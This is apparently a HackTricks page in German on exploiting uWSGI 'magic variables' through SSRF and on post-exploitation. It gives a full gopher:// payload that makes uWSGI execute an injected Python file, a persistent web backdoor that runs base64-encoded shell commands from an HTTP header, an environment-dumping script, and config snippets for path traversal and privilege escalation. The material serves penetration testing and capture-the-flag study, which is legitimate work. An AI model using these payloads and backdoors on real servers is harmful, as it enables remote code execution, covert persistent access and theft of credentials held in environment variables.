WSGI Post-Exploitation-Tricks

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

WSGI Overview

Web Server Gateway Interface (WSGI) ist eine Spezifikation, die beschreibt, wie ein Webserver mit Webanwendungen kommuniziert und wie Webanwendungen hintereinander geschaltet werden können, um eine Anfrage zu verarbeiten. uWSGI ist einer der beliebtesten WSGI-Server und wird häufig zum Bereitstellen von Python-Webanwendungen verwendet.

uWSGI Magic Variables Exploitation

uWSGI stellt spezielle "magic variables" zur Verfügung, mit denen das Serververhalten dynamisch konfiguriert werden kann. Diese Variablen können über HTTP-Header gesetzt werden und können zu schwerwiegenden Sicherheitslücken führen, wenn sie nicht ordnungsgemäß validiert werden.

Key Exploitable Variables

UWSGI_FILE - Arbiträre Dateiausführung

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Diese Variable ermöglicht das Laden und Ausführen beliebiger Python-Dateien als WSGI-Anwendungen. Wenn ein Angreifer diesen Parameter kontrollieren kann, kann er Remote Code Execution (RCE) erreichen.

UWSGI_SCRIPT - Skript-Laden

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Lädt ein angegebenes Script als neue Anwendung. In Kombination mit Datei-Upload- oder Schreibberechtigungen kann dies zu RCE führen.

UWSGI_MODULE and UWSGI_CALLABLE - Dynamisches Laden von Modulen

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Diese Parameter erlauben das Laden beliebiger Python-Module und das Aufrufen bestimmter Funktionen in ihnen.

UWSGI_SETENV - Manipulation von Umgebungsvariablen

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Kann verwendet werden, um Umgebungsvariablen zu ändern, was möglicherweise das Verhalten der Anwendung beeinflusst oder das Laden bösartiger Konfiguration ermöglicht.

UWSGI_PYHOME - Manipulation der Python-Umgebung

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Ändert die Python virtual environment und kann potenziell bösartige Pakete oder andere Python-Interpreter laden.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Ändert das Arbeitsverzeichnis, bevor Anfragen verarbeitet werden, was für path traversal attacks ausgenutzt werden kann.

SSRF + Gopher zu

Der Angriffsvektor

Wenn uWSGI durch SSRF (Server-Side Request Forgery) erreichbar ist, können Angreifer mit dem internen uWSGI-Socket interagieren, um magic variables auszunutzen. Dies ist besonders gefährlich, wenn:

  1. Die Anwendung SSRF-Schwachstellen aufweist
  2. uWSGI auf einem internen Port/Socket läuft
  3. Die Anwendung magic variables nicht richtig validiert

uWSGI ist aufgrund von SSRF zugänglich, weil die Konfigurationsdatei uwsgi.ini socket = 127.0.0.1:5000 enthält, wodurch es von der Webanwendung über SSRF erreichbar ist.

Exploit-Beispiel

Schritt 1: Erstelle bösartigen Payload

Zuerst Python-Code in eine vom Server zugängliche Datei injizieren (Datei-Schreibvorgang auf dem Server, die Dateiendung ist egal):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Schritt 2: uWSGI-Protokoll-Anfrage erstellen

Verwende das Gopher-Protokoll, um rohe uWSGI-Pakete zu senden:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Dieses payload:

  • Verbindet sich mit uWSGI auf Port 5000
  • Setzt UWSGI_FILE, um auf die bösartige Datei zu verweisen
  • Zwingt uWSGI dazu, den Python-Code zu laden und auszuführen

uWSGI Protokollstruktur

Das uWSGI-Protokoll verwendet ein binäres Format, wobei:

  • Variablen als längenpräfixierte Zeichenketten kodiert werden
  • Jede Variable hat: [name_length][name][value_length][value]
  • Das Paket beginnt mit einem Header, der die Gesamtgröße enthält

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Verwende dann UWSGI_FILE, um diesen backdoor zu laden:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Umgebungsbasierte Persistenz

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Informationslecks

Auslesen von Umgebungsvariablen

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Zugriff auf das Dateisystem

Verwende UWSGI_CHDIR in Kombination mit der Bereitstellung von Dateien, um auf sensible Dateien zuzugreifen:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

Wenn uWSGI mit erhöhten Rechten läuft, könnten Angreifer die Socket-Berechtigungen manipulieren:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Konfigurationsüberschreibung

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks